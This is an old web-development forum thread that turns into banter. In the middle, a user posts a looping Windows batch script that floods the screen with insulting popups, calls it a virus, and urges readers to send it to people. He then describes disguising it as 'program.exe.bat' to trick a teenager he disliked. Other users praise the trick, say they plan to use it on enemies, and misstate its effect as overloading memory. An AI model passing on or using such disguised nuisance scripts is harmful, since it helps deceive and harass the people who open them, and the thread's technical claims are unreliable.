the basics

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Here's a link to an excellent site for learning the basics of just about every topic in web development that you could imagine:
http://www.w3schools.com
learn and have fun, my young padawans! Laughing

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NOOOOOOO.... you are not to make that joke in my presence!! If you do so again, I will script you to death!!! lol. Cool

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Ah, but scripting me to death would not be logical captain. Haha! Lol! Laughing

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Speaking of scripting, I highly recommend that all would-be web developers learn JavaScript. It is very important for making dynamic web sites, like this forum!

Subject: Re: the basics Sun Jul 25, 2010 11:32 am

I want to just say that this site is only there to help you learn the basics, and that to be good at web development you must practice, and learn when it is best to do things one way, over another.

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Well said Fellow!

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Excimer Sun Software wrote:: Ah, but scripting me to death would not be logical captain. Haha! Lol!

Or would it, ESS?... bum bum bum! Laughing

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Dunno, I just had to get another Sci-Fi reference in. Laughing

Next question, are you sure that you could script me to death? How about I sniff your network traffic instead? Yes, I wrote a script for that. Twisted Evil

(no joke! Seriously! Smile

) ...dum dum dum dom da dum dom da dum...!

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You know what? If you make sci-fi jokes, I will make gaming jokes! Now, don't make me stomp you like a Goomba!!

Subject: Re: the basics Tue Aug 31, 2010 5:48 pm

what this, nerd wars? ok, then. i will DOS attack your windows!

Here is a very simple bomb virus. save it in a .bat and send it to someone. DONT OPEN IT.

Code:: echo off

:start

MSG * This is a virus.

MSG * You opened it.

MSG * You are an idiot.

MSG * POPUP ATTACK!

GOTO :start

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This is nice and evil!!! It is something I may use on some of my enemies!! I can see that this will overload the memory!

Subject: Re: the basics Wed Sep 01, 2010 5:13 pm

Compu-Teck Inc. wrote:: This is nice and evil!!! It is something I may use on some of my enemies!! I can see that this will overload the memory!

YESSS, i like my virus. i sent it to a jerk, and he tried to fix it with an antivirus, and everytime he did a scan, he ran it, thinking that there was something else in the program. Razz

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Simple, yet effective. Me like. Twisted Evil

Such an easy way to make a computer go down. Flood the main memory (RAM) and overload the buffer. Freezes the computer up nicely. Smile

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gamerboy wrote:: YESSS, i like my virus. i sent it to a jerk, and he tried to fix it with an antivirus, and everytime he did a scan, he ran it, thinking that there was something else in the program.

The idiot actually tried an antivirus! Laughing

Subject: Re: the basics Tue Sep 21, 2010 7:34 pm

yes, he was 16, and thought he was so awesome, it just pi**ed me off. i made this and sent it to him. he had windows, so i saved it as program.exe.bat so it looked like program.exe because windows cuts the file extension. lol!

he later sent me a facebook message saying what the hack, some jerk f***ed up your program dude, please fix this. i sent him a new one, named thisisavirus.exe.bat . he still opened it. Razz

we are no longer talking to each other, and i say riddance good

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Well, if he was an idiot, he deserved it!

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Well, not necessarily. But if he was really stupid enough to open a file that was called "thisisavirus", then he got what was coming to him anyways.

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My point exactly! See, this is the reason why you don't want to mess with computer geeks. We can just send a virus to your computers!!!! Twisted Evil

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All your base are belong to us!!!! Twisted Evil

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Exactly!!! Twisted Evil

Subject: Re: the basics Tue Oct 05, 2010 8:42 pm

i find it a lot easier to just send them a threatening message that a fat lady will want to go out with them... but its just mean it doesnt say "dont mess with me" as well as a virus does.

Subject: Re: the basics Tue Oct 05, 2010 8:45 pm

Excimer Sun Software wrote:: Well, not necessarily. But if he was really stupid enough to open a file that was called "thisisavirus", then he got what was coming to him anyways.

today, in my little brothers school, a very stupid thing happened. everyone was putting their chairs on top of the desks, and one kid had one of the desk/chair connected combo things. he spent 10 minutes trying ti pick up the chair and put it on the desk without moving the desk.

BTW, do you like my english now? ive been trying to learn the stupid abbreviations that you guys have, like rofl, and lol. ^_^

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gamerboy wrote:: today, in my little brothers school, a very stupid thing happened. everyone was putting their chairs on top of the desks, and one kid had one of the desk/chair connected combo things. he spent 10 minutes trying ti pick up the chair and put it on the desk without moving the desk.

BTW, do you like my english now? ive been trying to learn the stupid abbreviations that you guys have, like rofl, and lol. ^_^

That's hilarious!!! Laughing

I can't believe that someone would actually try to do that! Also, good English.

Subject: Re: the basics Sat Oct 09, 2010 11:53 am

Compu-Teck Inc. wrote:: gj!

good job?
college is going by so fast whats wrong with me Sad